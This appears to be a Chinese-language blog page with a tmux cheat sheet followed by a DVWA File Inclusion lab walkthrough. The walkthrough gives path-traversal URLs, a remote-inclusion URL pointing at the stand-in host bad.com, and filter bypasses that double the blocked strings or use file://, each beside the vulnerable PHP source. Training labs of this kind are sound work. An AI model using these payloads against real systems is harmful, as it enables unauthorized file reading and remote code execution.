something about tmux

tmux 会话

tmux默认先导快捷键(PREFIX)为<C-b>

  • 创建会话

    1
    2
    3
    4
    # 创建无名会话
    tmux
    # 创建名为 name 的会话
    tmux new -s name
  • 断开会话

    1
    2
    3
    # 断开当前会话,会话在后台运行
    tmux detach
    # 快捷键 PREFIX-d
  • 列出所有现存会话

    1
    2
    3
    4
    # 列出所有会话
    tmux list-session
    # 简化命令
    tmux ls
  • 重连会话

    1
    2
    3
    4
    5
    6
    # 重连名为 name 的会话
    tmux attach-session -t name
    # 简写 a
    tmux a -t name
    # 默认重边第一个会话
    tmux a
  • 关闭会话

    1
    2
    3
    4
    # 关闭名为 name 的会话
    tmux kill-session -t name
    # 关闭所有的会话
    tmux kill-server
  • 切换会话

    1
    2
    # 先导快捷键松开后,再按`s`,进入会话选择画面,按`序号`进入对应会话;或`方向键`选择会话;
    PREFIX-s
  • 配置文件

    1
    ~/.tmux.conf

tmux 窗口

  • 创建新窗口

    1
    2
    # 先导快捷键松开后,再按`c`,创建新的窗口
    PREFIX-c
  • 切换窗口

    1
    2
    3
    4
    5
    6
    # 先导快捷键松开后,再按`n`,切换至下个窗口
    PREFIX-n
    # `p`,切换至上个窗口
    PREFIX-p
    # 先导快捷键松开后,再按`w`,进入窗口选择画面,按`序号`进入对应窗口,或`方向键`选择
    PREFIX-w

tmux 面板

分屏: 一个窗口可以分割为多个面板(panel)。

  • 竖直分屏

    1
    2
    # 先导快捷键松开后,再按`"`,以竖直线分割窗口
    PREFIX-"
  • 水平分屏

    1
    2
    # 先导快捷键松开后,再按`%`,以水平线分割窗口
    PREFIX-%

something about DVWA - File Inclusion

DVWA

DVWA => 备份地址

File Inclusion(文件包含)

文件包含

php配置允许allow_url_include时允许文件包含,配置允许allow_url_fopen时允许包含远程文件。

Low

  • 手工测试

    • 本地文件包含

      dvwa文件包含为此URL:http://train.com/dvwa/vulnerabilities/fi/?page=include.php,尝试替换include.php包含 本地敏感文件。

      http://train.com/dvwa/vulnerabilities/fi/?page=C:\xampp\htdocs\DVWA\robots.txt

      http://train.com/dvwa/vulnerabilities/fi/?page=..\..\robots.txt

    • 远程文件包含

      将远程恶意文件url传递给dvwa。

      http://train.com/dvwa/vulnerabilities/fi/?page=http://bad.com/bad.php

  • 源码分析

    直接在request中获取文件名,直接进行包含。

    1
    2
    // The page we wish to display
    $file = $_GET[ 'page' ];

Medium

  • 手工测试

    str_replace只会过滤一次,因此可以使用 重复构造 的方法( 双写 )进行绕过。

    想要构造http://,因此构造httphttp://://,这样http://被过滤掉后,剩余的字符组合成 目标字符串
    同样的,想要构造../,因此构造..././

    构造后的漏洞利用url为:

    http://train.com/dvwa/vulnerabilities/fi/?page=httphttp://://bad.com/bad.php

    http://train.com/dvwa/vulnerabilities/fi/?page=..././..././robots.txt

  • 源码分析

    request中获取文件名后,使用str_replace将其中的敏感字串过滤掉。

    1
    2
    3
    4
    5
    6
    // The page we wish to display
    $file = $_GET[ 'page' ];

    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    "file = str_replace( array( "../", "..\\" ), "", $file );

High

  • 手工测试

    由于强制要求文件名以file开头,可以使用File协议绕过判断。File协议本地文件传输协议, 因此需要配合文件上传漏洞使用,将恶意文件上传至目标服务器,再使用File协议指定目标文件。

    File协议使用:

    1
    file://path/to/file

    使用File协议后指定包含文件:

    1
    http://train.com/dvwa/vulnerabilities/fi/?page=file://C:\Windows\System32\drivers\etc\hosts
  • 源码分析

    request中获取文件名后,判断其是否为固定字符开头(以file开头)。

    1
    2
    3
    4
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    //...
    }

Impossible

  • 源码分析

    request中获取文件名后,判断其是否在允许包含的文件列表中。

    1
    2
    3
    4
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    //...
    }